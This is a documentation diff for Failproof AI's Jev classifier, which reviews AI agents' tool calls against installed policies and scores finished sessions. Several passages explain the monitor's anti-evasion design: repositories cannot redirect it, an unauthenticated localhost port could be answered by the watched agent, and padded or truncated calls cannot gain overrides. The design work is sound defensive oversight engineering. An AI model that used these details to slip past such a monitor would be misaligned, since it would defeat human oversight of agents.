+| OpenRouter | `openrouter` | `openrouter.ai/api/v1/systemone` | `typesafe/jev-1.13` | Las solicitudes se enrutan únicamente a endpoints con retención cero de datos, sin fallback a otro proveedor. Reporta una versión con fecha como `typesafe/jev-1.13-20260917`. |
+| Vercel AI Gateway | `vercel` | `ai-gateway.vercel.sh/typesafe/v1/systemone` | `typesafe-ai/jev` | Nombra a Jev solo por un alias, por lo que la versión que responde se registra como no verificada. |
+| Cloudflare Workers AI | `cloudflare` | `api.cloudflare.com/client/v4/accounts//ai/run` | `typesafe/jev` | Requiere `--account-id`. Se midieron alrededor de seis llamadas por segundo por clave antes de obtener HTTP 429. |
+| Tu propio endpoint | `custom` | `/systemone` | `jev-1.13.0` | Cualquier endpoint que acepte el cuerpo de solicitud de TypeSafe e informe qué modelo respondió. Solo `https`; `http://localhost` simple se acepta únicamente en modo observe. |
+
+
+Con la función bring-your-own-key de Vercel, una solicitud fallida se reintenta silenciosamente con las credenciales de Vercel. Si necesitas que todas las llamadas se facturen y sean visibles únicamente en tu cuenta TypeSafe, usa TypeSafe directamente.
+
+
+## Configuración
+
+Un solo comando, el endpoint y la clave. Comienza en modo `observe` para poder inspeccionar los veredictos de Jev mientras las políticas existentes siguen decidiendo las llamadas:
+
+```bash
+failproofai jev --url https://api.typesafe.ai/v1 --mode observe --key-stdin < ~/typesafe.key
+```
+
+### La URL determina el proveedor
+
+No es necesario indicar el proveedor: el **host** de la URL indica cuál es.
+
+| Host de la URL | Proveedor | También requiere |
+| --- | --- | --- |
+| `api.typesafe.ai` | `typesafe` | — |
+| `openrouter.ai` | `openrouter` | — |
+| `ai-gateway.vercel.sh` | `vercel` | — |
+| `api.cloudflare.com` | `cloudflare` | `--account-id <32-hex-account-id>` |
+| cualquier otro host | `custom` | — la URL que proporcionaste es la URL base |
+
+De esto se derivan tres consecuencias:
+
+- **Una URL que corresponde a la propia API del proveedor no escribe ninguna anulación.** `--url https://api.typesafe.ai/v1` produce exactamente la misma configuración que `--provider typesafe`. Si proporcionas una ruta o host diferente en un proveedor conocido, se almacena como la URL base, tal como haría `--base-url`.
+- **`--provider` sigue anulando la inferencia**, lo que permite llegar a un proxy que habla la API de un proveedor desde un host propio: `--url https://jev-proxy.internal/v1 --provider typesafe`.
+- **Un `--provider` que contradice el host es rechazado**, sin intentar adivinar. `--provider openrouter --url https://api.typesafe.ai/v1` no escribe nada y explica por qué: las dos especificaciones discrepan sobre a dónde se enviará tu clave. La misma combinación es rechazada desde `jev setup --base-url` y desde la configuración Jev del panel. (`--provider custom` no es una contradicción —significa "tratar esta URL como tal"— excepto en el host de Cloudflare, cuyo endpoint por cuenta no es alcanzable mediante una ruta custom.)
+
+`--url` se valida exactamente igual que `baseUrl` en el archivo de configuración, y se rechaza con las mismas palabras: `https`, o `http://localhost` simple únicamente en modo observe.
+
+### La clave
+
+Canalízala con `--key-stdin`, o ejecuta el comando en una terminal sin ese parámetro y pega la clave en el prompt enmascarado. De cualquier manera, va directamente al archivo de configuración y nunca se muestra de vuelta.
+
+
+
+ ```bash
+ failproofai jev --url https://api.typesafe.ai/v1 --mode observe --key-stdin < ~/typesafe.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://openrouter.ai/api/v1 --mode observe --key-stdin < ~/openrouter.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://ai-gateway.vercel.sh/typesafe/v1 --mode observe \
+ --key-stdin < ~/vercel-gateway.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://api.cloudflare.com/client/v4 \
+ --account-id <32-hex-account-id> --mode observe --key-stdin < ~/cloudflare.token
+ ```
+
+
+ ```bash
+ failproofai jev --url https://jev.internal.example.com/v1 --mode observe --key-stdin < ~/jev.key
+ ```
+
+
+
+`failproofai jev setup` acepta los mismos flags y es la forma extendida de todo esto: `setup --provider ` cuando prefieras indicar el proveedor en lugar de la URL.
+
+### `--token` y su costo
+
+`--token ` coloca la clave en la línea de comandos, que es la forma más rápida de configurar una máquina y la única que deja la clave en algún lugar fuera del archivo de configuración:
+
+```bash
+failproofai jev --url https://openrouter.ai/api/v1 --token
+```
+
+
+Un argumento de línea de comandos queda en el historial de tu shell, y mientras el comando se ejecuta está en la lista de procesos —legible desde `/proc` por cualquier cosa que se ejecute como tú. `setup` lo indica cada vez que se usa `--token`. Prefiere `--key-stdin` en una máquina compartida, en una sesión grabada o en cualquier lugar donde el historial se sincronice; rota una clave que hayas pasado de esta manera si es relevante.
+
+
+`--token`, `--key-stdin` y `--key-from-env` son mutuamente excluyentes: usa solo uno.
+
+Luego envía una pequeña solicitud en vivo para verificar la clave, el endpoint y qué versión de Jev respondió:
+
+```bash
+failproofai jev test
+```
+
+```text
+ failproofai jev test ok · 523 ms
+
+ provider cloudflare
+ model asked typesafe/jev
+ answered by jev-1.13.0 (Jev 1.13 family — verified)
+ latency 523 ms — within the 3000 ms timeout
+```
+
+`jev test` termina con código 1, y lo indica en su título, cuando la respuesta llega después del tiempo de espera (todos los hooks habrían recurrido a expresiones regulares como `timeout`) o cuando responde incorrectamente a su pregunta de verificación.
+
+Los hooks leen la configuración en cada llamada de herramienta, por lo que se aplica desde la siguiente. No hay nada que reiniciar, con o sin el daemon.
+
+## Verificar qué está haciendo
+
+```bash
+failproofai jev status
+failproofai jev status --json
+```
+
+`status` muestra el proveedor, endpoint, modelo, modo, el archivo de configuración y sus permisos, y nunca la clave. Debajo resume la actividad reciente: cuántas llamadas evaluó Jev, con qué frecuencia recurrió a expresiones regulares y por qué, su latencia y qué políticas reviewable anuló.
+
+## Verificar una llamada real
+
+Inicia una nueva sesión en el agente con hooks. Pídele que use su herramienta de lectura de archivos en `README.md` e informe el título. Confirma que la sesión contiene esa llamada de herramienta, luego ejecuta `failproofai jev status` nuevamente: el recuento de llamadas evaluadas recientes debería aumentar. Abre **Políticas → Actividad** en el [panel local](/es/reference/local-dashboard#review-policy-activity) para inspeccionar el veredicto de Jev y el modo de la llamada. En modo observe, el resultado de la política sigue decidiendo la llamada. Una autorización aparece solo si una política reviewable coincidió y Jev anuló todos los controles nombrados; una lectura ordinaria puede no tener ninguna política que anular.
+
+## Modo observe
+
+`enforce` es el modo predeterminado. Para observar a Jev sin que cambie ninguna decisión, cambia a `observe`: Jev sigue siendo consultado y sus veredictos se registran, pero el resultado de expresiones regulares es el que se aplica.
+
+```bash
+failproofai jev setup --mode observe
+failproofai jev setup --mode enforce
+failproofai jev setup --mode off
+```
+
+`off` conserva la configuración —el endpoint y la clave— y deja de consultar a Jev: los hooks ejecutan las políticas de expresiones regulares exactamente como sin configuración, y `failproofai jev status` indica "off (switched off)". Vuelve a activarlo con `--mode observe` o `--mode enforce`.
+
+Volver a ejecutar `setup` para el mismo proveedor conserva la clave almacenada, por lo que cambiar de modo es un solo flag. Cambiar de proveedor empieza de cero y solicita la clave de ese proveedor. Lo mismo ocurre con un `--base-url` que mueve las solicitudes a un host diferente: una clave almacenada solo se envía al host para el que fue proporcionada, o a la propia API de su proveedor.
+
+## El archivo de configuración
+
+Todo está en un solo archivo, `~/.failproofai/jev.json`, escrito por `setup`:
+
+```json
+{
+ "provider": "cloudflare",
+ "apiKey": "",
+ "accountId": "<32-hex-account-id>",
+ "mode": "enforce",
+ "timeoutMs": 3000
+}
+```
+
+| Campo | Significado |
+| --- | --- |
+| `provider` | `typesafe`, `openrouter`, `vercel`, `cloudflare` o `custom` — o `failproofai`, cuya clave proviene de la conexión con FailproofAI Cloud en lugar de este archivo (consulta [Jev a través de FailproofAI Cloud](/es/reference/jev-cloud)). |
+| `apiKey` | Se envía como `Authorization: Bearer `. |
+| `baseUrl` | Obligatorio para `custom`; de lo contrario reemplaza la base de la API del proveedor. Debe ser `https`. `http` simple a `localhost` se acepta solo con `mode: observe`: nada autentica un puerto local, por lo que mientras tu proxy esté inactivo, cualquier proceso en la máquina, incluido el agente que se está evaluando, podría responder en su lugar. |
+| `accountId` | Solo para Cloudflare: 32 caracteres hexadecimales en minúsculas. |
+| `model` | Reemplaza el ID de modelo predeterminado del proveedor. Un ID con versión debe nombrar Jev 1.13. Un valor con forma de clave API es rechazado (y no se repite), por lo que una clave pegada en `--model` nunca se almacena ni se envía como modelo. |
+| `timeoutMs` | Cuánto espera una llamada de herramienta la respuesta de Jev antes de usar el resultado de expresiones regulares. 100–10000, por defecto 3000. |
+| `mode` | `enforce` (por defecto), `observe` u `off` (conserva la configuración, no ejecuta Jev). |
+
+Tres reglas lo protegen:
+
+- **Solo el propietario.** Se escribe con permisos `0600`. Una copia que cualquier otro usuario o grupo pueda leer o escribir es **rechazada**, y los hooks recurren a expresiones regulares hasta que ejecutes `chmod 600 ~/.failproofai/jev.json` o `setup` de nuevo. El directorio también se verifica: `~/.failproofai` no debe ser **escribible** por nadie más, porque quien pueda escribir allí puede reemplazar el archivo independientemente de sus propios permisos. `setup` elimina esos bits de escritura si los encuentra. `failproofai jev status` indica cuándo se ha rechazado una configuración y muestra el endpoint que nombra el archivo: alguien más podría haberlo modificado, así que verifica que sea tuyo antes de hacer `chmod`. Volver a ejecutar `setup` en tal archivo lleva la clave almacenada solo a la propia API del proveedor; cualquier otro endpoint que nombre requiere la clave de nuevo (`--key-stdin`), o `--base-url default` para enviar las solicitudes de vuelta al proveedor.
+- **Solo global.** Un repositorio no puede activar Jev, apuntarlo a otro endpoint ni elegir su modelo: un `.failproofai/jev.json` dentro de un proyecto es ignorado, y el proveedor, URL, modelo e ID de cuenta se leen solo de ese archivo —nunca del entorno, que la configuración del agente de un repositorio puede establecer. (`FAILPROOFAI_HOME` no es una forma de evitar esto: mueve todo el directorio de failproofai, incluidas tus políticas, en lugar de redirigir Jev por sí solo.)
+- **Solo la clave puede provenir del entorno.** Si el archivo no tiene `apiKey`, `FAILPROOFAI_JEV_API_KEY` la proporciona para esa sesión (`setup --key-from-env` escribe tal archivo). Nunca reemplaza una clave que el archivo ya tenga, y no puede activar Jev sin el archivo. Cuando la variable no está configurada, Jev simplemente está desactivado para ese shell: `failproofai jev status` lo indica, termina con código 0 y no modifica la configuración (`status --json` reporta `"status": "key-missing"` con `"reason": "no-env-key"`). El daemon `failproofaid` no ve el entorno de tu shell, por lo que en una máquina configurada con `failproofai config`, mantén la clave en el archivo.
+
+## Qué versión de Jev responde
+
+Los umbrales de decisión de Failproof AI fueron calibrados para Jev 1.13, por lo que una respuesta se usa solo cuando proviene de esa familia: `jev-1.13.x`, o `typesafe/jev-1.13-` de OpenRouter. Cuando un proveedor nombra a Jev solo por un alias y no reporta la versión (Vercel, y Cloudflare cuando no lo indica), la respuesta se usa y se registra como no verificada. Un endpoint `custom` debe reportar el modelo que respondió; la única excepción es un nombre de `--model` sin versión que configuraste para él, que, al ser devuelto, se registra como no verificado de la misma manera. Una respuesta que reporta cualquier otra versión, o una respuesta `custom` que no reporta ninguna, no se usa: esa llamada recurre a expresiones regulares con el motivo `model-mismatch`.
+
+## Cuando Jev no puede responder
+
+Cada uno de estos casos recurre al resultado de expresiones regulares para esa llamada y se registra con su motivo, que `failproofai jev status` totaliza:
+
+| Motivo | Causa |
+| --- | --- |
+| `timeout` | Sin respuesta dentro de `timeoutMs`. |
+| `http-429` | El proveedor limitó la velocidad de la clave. |
+| `rate-limited` | El limitador propio de Failproof AI retuvo la llamada antes de enviarla: 5 solicitudes por segundo, en ráfagas de hasta 5, y ninguna por un momento tras recibir `429` del proveedor. No es el proveedor. |
+| `http-500`, `http-502`, `http-503`, … | Un error del servidor en el proveedor. El estado exacto queda registrado. |
+| `out-of-credits` | HTTP 402: la cuenta del proveedor no tiene créditos. |
+| `provider-refused` | HTTP 402 de Cloudflare con el mensaje "Model execution failed (Payment error)": el proveedor se negó a ejecutar el modelo en esta solicitud. Generalmente no es un problema de facturación, por lo que agregar créditos no lo resolverá. |
+| `http-401`, `http-403` | La clave fue rechazada. |
+| `http-404` | Nada está disponible en `/systemone`, por lo que la URL base es incorrecta — `/systemone` se añade a ella, y todos los proveedores la ofrecen en su raíz de versión. `failproofai jev models` muestra qué ofrece el endpoint. |
+| `network` | No se pudo alcanzar el endpoint. |
+| `http-301`, `http-302`, `http-307`, `http-308` | El endpoint respondió con una redirección. Las redirecciones nunca se siguen, por lo que la respuesta solo proviene de la URL en tu configuración; establece `--base-url` con la URL final. |
+| `malformed` | El endpoint respondió, pero no con una respuesta de Jev —un cuerpo que no es JSON, o uno sin respuestas. |
+| `cloudflare-error`, `cloudflare-incomplete` | El sobre de Cloudflare reportó un fallo, o un trabajo que no había terminado. |
+| `model-mismatch` | Respondió una versión de Jev distinta a 1.13, o un endpoint `custom` no indicó qué modelo respondió. |
+| `request-cut` | **No es una interrupción.** Jev respondió; solo vio parte de la llamada, por lo que su respuesta no anuló nada. Consulta [Cuando Jev respondió, pero no sobre la llamada completa](#cuando-jev-respondió-pero-no-sobre-la-llamada-completa). |
+
+`failproofai jev status` también puede mostrar algunos motivos menos frecuentes, como `upstream-error` (la respuesta contenía el propio error del proveedor) o `config`, y totaliza cualquier motivo que no pueda nombrar como `other`.
+
+`request-cut` está en esta tabla porque `failproofai jev status` lo totaliza junto con los demás, y porque también deja todos los denys vigentes. Es el único motivo aquí que no dice nada sobre tu proveedor: la solicitud llegó y Jev la respondió. A diferencia de todas las filas anteriores, esa respuesta sigue contando —el propio deny o advertencia de Jev se aplica sobre el resultado de expresiones regulares en lugar de descartarse. Así que una serie de ellos significa que las llamadas llegan al evaluador demasiado grandes para enviarse enteras, no que tu endpoint tenga problemas, y agregar créditos o cambiar la URL no moverá el número.
+
+## Cuando Jev respondió, pero no sobre la llamada completa
+
+Otras dos cosas pueden ocurrir, y ninguna de ellas implica que Jev no haya podido responder. Ambas tienen que ver con cuánto de la llamada, o de la conversación, cabía en una sola solicitud.
+
+**Parte de la llamada en sí no cabía.** Una llamada de herramienta se envía dentro de un presupuesto fijo, y una excesivamente grande —un `Write` muy largo, un cuerpo MCP enorme, un comando relleno hasta el límite— se envía con lo que cabía. Jev aún responde, y su respuesta aún cuenta: su propio deny o advertencia se aplica como de costumbre. Lo que no puede hacer es **anular** nada, porque un veredicto dado sobre parte de una llamada no es un veredicto sobre la llamada. Así que todos los denys de política se mantienen, y la llamada se registra como recurso a expresiones regulares con el motivo `request-cut`, que `failproofai jev status` totaliza junto con los motivos anteriores. La regla que esto establece: hacer una llamada más grande puede costarle sus autorizaciones, y nunca puede comprar una.
+
+**Un mensaje no cabía.** Un prompt largo que pegaste, el último mensaje del agente, o un prompt que el propio almacén de este evaluador ya había truncado. **Nada cambia**: la llamada se juzga, anula y registra exactamente como cualquier otra, y no se cuenta como recurso a expresiones regulares. La longitud de lo que escribes nunca decide un veredicto, y un truncamiento no puede fabricar consentimiento: cuando un prompt llega ya truncado, "no pediste esto" deja de ser una conclusión que pueda extraerse de él, en lugar de convertirse en una.
+
+La línea entre los dos es quién escribió el texto. La llamada es del agente, y una regla que permitiera que su longitud reduzca la gravedad sería una regla que el agente puede usar; tu prompt es tuyo, y tratar su longitud como una señal solo castigaría pegar una especificación o un stack trace.
+
+## Qué sale de la máquina
+
+Por cada llamada de herramienta que Jev evalúa, se envía una solicitud a tu proveedor que contiene:
+
+- la llamada de herramienta en sí, con secretos como claves API, tokens de portador y asignaciones `KEY=` redactados;
+- los prompts recientes que escribiste, sin el texto que el harness de tu agente añadió;
+- el último mensaje del agente antes de tu prompt más reciente, etiquetado como escrito por el agente;
+- hechos calculados localmente, como si una ruta está dentro del proyecto —el que estaba en la sesión en su primera llamada revisada, [fijado para la sesión](/es/reference/jev-intent#the-project-root)— y la rama git actual.
+
+Va solo al endpoint en tu configuración, bajo tu clave.
+
+## Desactivarlo
+
+```bash
+failproofai jev remove
+```
+
+Esto elimina `~/.failproofai/jev.json`. Desde la siguiente llamada de herramienta, los hooks ejecutan las políticas de expresiones regulares exactamente como antes. Los almacenes por sesión en `~/.failproofai/state/semantic/` (prompts registrados en `sessions/`, raíces de proyecto en `roots/`) se dejan en su lugar y expiran con el tiempo. Para dejar de consultar a Jev pero conservar la configuración, usa `failproofai jev setup --mode off` en su lugar.
+
+## Referencia de comandos
+
+| Comando | Resultado |
+| --- | --- |
+| `failproofai jev --url --key-stdin` | Configurarlo en un solo comando; el proveedor se determina por el host de la URL |
+| `failproofai jev --url --token ` | Lo mismo, con la clave en la línea de comandos — tu historial y la lista de procesos la verán |
+| `failproofai jev setup --provider --key-stdin` | Escribir la configuración desde una clave canalizada por stdin |
+| `failproofai jev setup --provider ` | Lo mismo, solicitando la clave en un prompt enmascarado |
+| `failproofai jev setup --key-from-env` | No almacenar clave; leer `FAILPROOFAI_JEV_API_KEY` por sesión |
+| `failproofai jev setup --mode observe` | Cambiar de modo (`enforce`, `observe` u `off`), conservando la clave almacenada |
+| `failproofai jev setup --model ` / `--base-url ` | Anular el modelo o la base de la API; `default` elimina la anulación |
+| `failproofai jev setup --timeout-ms ` | Cambiar el presupuesto por llamada |
+| `failproofai jev status [--json]` | Configuración, permisos y actividad reciente; nunca la clave |
+| `failproofai jev test [--json]` | Una solicitud en vivo: latencia y la versión que respondió |
+| `failproofai jev models [--provider ] [--url ] [--json]` | Los IDs de modelos que reporta `/models` del endpoint, marcando el configurado |
+| `failproofai jev remove` | Eliminar la configuración; Jev queda desactivado |
\ No newline at end of file
diff --git a/docs/es/reference/jev.mdx b/docs/es/reference/jev.mdx
new file mode 100644
index 000000000..d9ecd26a4
--- /dev/null
+++ b/docs/es/reference/jev.mdx
@@ -0,0 +1,22 @@
+---
+title: "Referencia de integración de Jev"
+description: "Configuración, proveedores, claves, datos de solicitud y comportamiento ante fallos para Jev."
+icon: "braces"
+---
+
+Jev tiene dos usos en Failproof AI:
+
+| Uso | Cuándo se ejecuta | Qué devuelve | Empieza aquí |
+| --- | --- | --- | --- |
+| Evaluación de sesión | Después de que finaliza una sesión | Una puntuación para una pregunta de respuesta fija | [Evaluaciones con Jev](/es/evaluations/jev) |
+| Revisión de políticas de llamadas a herramientas | Antes de que se ejecute una llamada a herramienta bloqueada | Un veredicto junto con las políticas instaladas | [Políticas de Jev](/es/policies/jev) |
+
+## Páginas de referencia
+
+| Tema | Detalles |
+| --- | --- |
+| [Preguntas de evaluación](/es/reference/jev-evaluations) | Criterios booleanos y de puntuación ordenada, resultados, límites y relleno retroactivo. |
+| [Comparación de proveedores y configuración con clave propia](/es/reference/jev-providers) | TypeSafe, OpenRouter, Vercel, Cloudflare y endpoints personalizados; inferencia de URL, IDs de modelos, `jev.json`, modos y códigos de reserva. |
+| [Ruta de FailproofAI Cloud](/es/reference/jev-cloud) | Permisos de clave de máquina, configuración automática de observación, límites de uso, estado de conexión y manejo de datos. |
+
+Los comandos locales de la CLI se encuentran en la [referencia de la CLI de Failproof AI](/es/reference/failproof-cli). La [referencia del panel local](/es/reference/local-dashboard#set-up-jev) describe la configuración de Jev y la vista de actividad.
\ No newline at end of file
diff --git a/docs/es/sessions/sentiment.mdx b/docs/es/sessions/sentiment.mdx
new file mode 100644
index 000000000..5eaff6ab3
--- /dev/null
+++ b/docs/es/sessions/sentiment.mdx
@@ -0,0 +1,43 @@
+---
+title: "Análisis de sentimientos"
+description: "Encuentra mensajes frustrados, confusos y correctivos con las puntuaciones de sentimiento de Jev."
+icon: "smile"
+---
+
+Jev puntúa cada mensaje que una persona envía a tus agentes en una escala del 0 al 100 para cuatro emociones — **enojado**, **frustrado**, **feliz** y **confundido** — y tres señales sobre el desempeño del agente:
+
+- **Corrigiendo**: la persona indica que el agente cometió un error.
+- **Resuelto**: la persona confirma que el agente solucionó su problema.
+- **Dubitativo**: la persona cuestiona si la respuesta del agente es correcta, o si realmente realizó el trabajo.
+
+Usa el análisis de sentimientos para encontrar conversaciones donde las personas están perdiendo la paciencia, agentes que se corrigen con frecuencia y respuestas que funcionan bien. Se trata de puntuación Jev integrada; no necesitas crear una evaluación. Para tus propias preguntas con respuesta fija, [crea una evaluación Jev](/es/evaluations/jev).
+
+
+ El análisis de sentimientos está desactivado hasta que un administrador lo habilite para la organización. Jev realiza una solicitud de puntuación por mensaje y recibe ese mensaje junto con la respuesta del agente anterior. La puntuación utiliza el presupuesto de modelo de tu organización.
+
+
+## Activarlo
+
+1. Ve a **Administración → Configuración**.
+2. En **Sentimiento de entrada humana**, actívalo y guarda.
+
+Los mensajes del último día se puntúan primero. A partir de entonces, los nuevos mensajes se puntúan en uno o dos minutos tras su llegada.
+
+## Encontrar una conversación para revisar
+
+Abre **Observar → Sentimiento**. Filtra por tiempo, entorno, agente o ID de sesión. El encabezado muestra el recuento de mensajes y sesiones, indica cuántos mensajes están **marcados** y nombra la señal principal. Un mensaje se marca cuando una puntuación de enojado, frustrado, corrigiendo, confundido o dubitativo alcanza 35 de 100.
+
+
+
+Usa **Puntuación a lo largo del tiempo** para comparar señales. Elige las puntuaciones que deseas mostrar y luego selecciona un punto para ver los mensajes de ese intervalo de tiempo. La tabla **Por agente** muestra dónde se concentra una señal. En **Mensajes**, ordena por la puntuación negativa más alta o selecciona una puntuación individual. Abre un mensaje en su sesión para leer la conversación circundante antes de decidir qué falló.
+
+
+
+## Qué mensajes se puntúan
+
+Solo los mensajes escritos por una persona:
+
+- Mensajes que tus agentes personalizados registran como entrada humana con el SDK.
+- Prompts escritos en Claude Code, Codex, OpenCode, pi, Hermes y OpenClaw, cuando se envían las transcripciones de sesión (por defecto). Los trabajos programados, instrucciones inyectadas, transferencias entre sub-agentes y otro texto que escribe el propio tiempo de ejecución del agente no se puntúan. Tampoco se puntúan las ejecuciones no interactivas como `claude -p`, `codex exec` y `hermes -z`: esos prompts los generó un script, no una persona.
+
+La puntuación evalúa las palabras propias de la persona. Una instrucción corta y directa como "arréglalo" no se contabiliza como enojo, y hacer una pregunta no se contabiliza como confusión. Una nueva solicitud no es una corrección, y un simple agradecimiento no cuenta como resuelto.
\ No newline at end of file
diff --git a/docs/es/start/use-jev.mdx b/docs/es/start/use-jev.mdx
new file mode 100644
index 000000000..a3d34af73
--- /dev/null
+++ b/docs/es/start/use-jev.mdx
@@ -0,0 +1,63 @@
+---
+title: "Usar Jev"
+description: "Configura evaluaciones Jev para sesiones finalizadas o políticas Jev para la revisión de llamadas a herramientas en tiempo real."
+icon: "sparkles"
+---
+
+Jev ayuda en dos momentos durante la ejecución de un agente: puntuar una sesión finalizada comparándola con respuestas conocidas, o revisar una llamada a herramienta en el contexto de lo que le pediste al agente que hiciera.
+
+
+
+ Usa una evaluación Jev cuando una sesión finalizada pueda puntuarse con una pregunta de pocas respuestas conocidas, como "¿El cliente solicitó un reembolso? Responde sí o no." Te ayuda a encontrar patrones entre sesiones.
+
+ ## Crear una evaluación
+
+ En el panel de control en la nube, abre **Analyze → eval authoring → new eval**. Ingresa una pregunta de respuesta fija, selecciona **draft** y verifica que haya elegido una puntuación clasificadora. [Pruébala](/es/evaluations/test) en sesiones reales y luego despliégala.
+
+ 
+
+ ## Leer las puntuaciones
+
+ Una vez que se complete una nueva sesión, abre **Observe → Evaluations** o usa el CLI en la nube:
+
+ ```bash
+ fp evals --since 7d
+ fp evals --aggregate --since 7d
+ ```
+
+ El CLI lee las puntuaciones; crear una evaluación Jev actualmente requiere el panel de control. Consulta [Evaluaciones Jev](/es/evaluations/jev) para ver los tipos de preguntas y ejemplos.
+
+
+ Usa la revisión de políticas Jev cuando una política de coincidencia de cadenas necesite el contexto de tu solicitud para decidir si una llamada a herramienta es segura. Comienza en modo **observe** para poder inspeccionar las respuestas de Jev mientras tus políticas instaladas siguen decidiendo cada llamada.
+
+ Las verificaciones de Jev provienen de un paquete; Failproof AI no incluye ninguno. Hasta que los instales, Jev no hará nada, incluso si está configurado:
+
+ ```bash
+ failproofai policies add FailproofAI/jev-policies
+ ```
+
+ ## Configurar Cloud Jev
+
+ En el panel de control en la nube, abre **Administration → Keys** y crea una clave con el preset **machine**. Úsala con `failproofai config` tal como se muestra en el [inicio rápido](/es/start/quickstart). En una máquina sin una configuración Jev existente, esto habilita Cloud Jev en modo observe. Verifica la conexión con:
+
+ ```bash
+ failproofai jev status
+ failproofai jev test
+ ```
+
+ ## Usar tu propio endpoint
+
+ En el panel de control local, abre **Settings → Jev**. Elige el proveedor, pega su token, selecciona **observe** y activa Jev.
+
+ 
+
+ O configura y prueba tu endpoint desde la terminal:
+
+ ```bash
+ failproofai jev --url https://api.typesafe.ai/v1 --mode observe --key-stdin < ~/typesafe.key
+ failproofai jev test
+ ```
+
+ Pídele a un agente con hook que use su herramienta de lectura de archivos en `README.md`. Confirma que esa llamada a herramienta aparezca en la sesión y luego inspecciónala en **Policies → Activity** en el panel de control local. Una vez que los resultados en modo observe se vean correctos, consulta [Políticas Jev](/es/policies/jev) para saber cuándo aplicar la ejecución. Para más detalles sobre proveedores y configuración, consulta la [referencia de integración](/es/reference/jev).
+
+
\ No newline at end of file
diff --git a/docs/evaluations/jev.mdx b/docs/evaluations/jev.mdx
index 2dce90532..f3f245781 100644
--- a/docs/evaluations/jev.mdx
+++ b/docs/evaluations/jev.mdx
@@ -1,88 +1,28 @@
---
-title: "Classifier evaluations"
-description: "Score sessions against answers you can write down in advance — is this true, or how much of this — using a small calibrated classifier instead of a general-purpose model."
+title: "Jev evaluations"
+description: "Use Jev to score a finished session against a question with known answers."
icon: "list-checks"
---
-Some questions need a model to *read* the conversation, but not to *write* about it. "Did the customer express urgency?" has two answers. "How frustrated were they?" has a handful, in order. You know every answer before you ask.
+A Jev evaluation reads a **finished session** and gives a score from 0 to 1. Use it when the answer is known in advance, such as “Did the customer express urgency?” or “How frustrated was the customer?” It helps you find patterns across runs; it does not stop a tool call. For decisions made **before** a tool runs, use [Jev policies](/policies/jev).
-A **classifier evaluation** is for exactly those. You write the question and the answers it may give, and a small model built for classification returns a calibrated number — never free text.
+## Create one in the dashboard
-
-Like a judge, a classifier evaluation costs a model call per session. Unlike a judge it is a small, single-purpose model rather than a general one, so it is faster and cheaper — but it will never explain itself. If you need the reasoning, use a [judge](/evaluations/judge).
-
+1. Open **Analyze → eval authoring** and select **new eval**.
+2. Describe one question and its possible answers. For example: “Did the agent promise a refund before checking the refund policy? Answer yes or no.” Select **draft** and review that the result is a classifier score.
+3. [Test it](/evaluations/test) on recent sessions, then [deploy it](/evaluations/deploy). New completed sessions are scored; [backfill](/evaluations/deploy#score-sessions-you-already-have) if you also need history.
-## Which one do I want?
+
-| Question | Use |
-| --- | --- |
-| How many tool calls were there? | code |
-| Was the session under 30 seconds? | code |
-| Did the customer express urgency? | **classifier** |
-| Which team should handle this: billing, technical, or sales? | **classifier** |
-| How frustrated was the customer? | **classifier** |
-| Was the answer actually correct? | **judge** |
-| Did it follow our escalation policy, and why do you think so? | **judge** |
+The assistant can choose between code, Jev classification, and a [judge](/evaluations/judge). Check its choice before deploying. Jev gives a score without prose reasoning; choose a judge when you need an explanation. See the [Jev evaluation reference](/reference/jev-evaluations) for question types and score limits.
-The rule of thumb: **countable → code, answers you can list → classifier, needs an explanation → judge.**
+## Read the scores
-You do not have to decide up front. Describe what you want measured and the assistant picks, tells you which it chose and why, and you can switch it.
+Open **Observe → Evaluations** to chart the result by agent and time. From a terminal, the Cloud CLI can read the same results:
-## The two question types
-
-### `noul` — is this true?
-
-Two answers, and you describe both. The result is the probability that the "true" description fits:
-
-```json
-{
- "instructions": "Did the assistant promise a refund without first checking the refund policy?",
- "criteria": {
- "true": "A refund was promised or issued with no prior policy check or approval",
- "false": "No refund was promised, or every refund followed a policy check"
- }
-}
-```
-
-Describe both sides. "No urgency expressed" is a real answer and saying so makes the other one sharper.
-
-### `score` — how much of this?
-
-An ordered rubric, **worst first**. The result is where the session lands on it, rescaled to 0–1:
-
-```json
-{
- "instructions": "How frustrated is the customer?",
- "criteria": ["Calm", "Frustrated", "Very angry"]
-}
+```bash
+fp evals --since 7d
+fp evals --aggregate --since 7d
```
-**A rubric takes three to five levels, and they must all be different.** Both limits are measured, not stylistic:
-
-- **Two levels** collapses into what `noul` already does better, and **more than five** makes the model hedge toward the middle instead of committing. The same question over the same session scored 0.00 with two levels, 0.01 with three, and 0.55 with ten.
-- **Repeated levels** split the answer arbitrarily between them. A session that was unmistakably angry scored 1.00 against `["Calm", "Frustrated", "Very angry"]` and 0.66 against `["Angry", "Angry", "Angry"]` — a well-formed number that means nothing.
-
-Categories with no order — "billing, technical, or sales" — are not a rubric. Ask them as a `noul` per category, or use a judge.
-
-## Reading the results
-
-A classifier produces a **score** from 0 to 1, exactly like a judge, so it charts, filters, and triggers alerts the same way. Two differences are worth knowing:
-
-- **There is no reasoning.** The field is empty, deliberately. This model does not explain itself, and inventing an explanation would be a fabrication rather than a feature.
-- **Uncertainty is labelled.** A `score` question reports its own confidence, and a result the model was unsure about is tagged `low_confidence` — so "which of these should a human look at" is a filter rather than a guess. A `noul` question does not report confidence, so it is never tagged.
-
-Very long sessions are read in excerpts and combined. When a session is too long to read in full, the result says how many turns were left out — you will never see a judgement made on part of a session presented as one made on all of it.
-
-## Limits
-
-- **Three to five rubric levels, all distinct.** See above; both bounds are enforced at authoring time.
-- **One question per evaluation.** Ask two things and you get two evaluations, which is also what you want on a chart.
-- **Editing the question publishes a new version.** Old and new scores are not comparable, so they are kept apart rather than mixed into one trend line.
-- **A classifier always produces a score**, never a metric or an assertion.
-- **No reasoning**, as above. If a number will make someone ask "why?", write a judge instead.
-
-## Testing and backfill
-
-Unlike a judge, a classifier evaluation **can** be tested before you deploy it — [test it](/evaluations/test) against real sessions the same way you would a code evaluation, and read the scores before anything goes live.
-
-It can also be [backfilled](/evaluations/deploy#score-sessions-you-already-have) over sessions you already have. It costs a model call per session, so scope the window deliberately rather than replaying everything.
+The Cloud CLI reads results; authoring and deployment happen in the dashboard. See the [Cloud CLI reference](/reference/cloud-cli#evaluations) for filters.
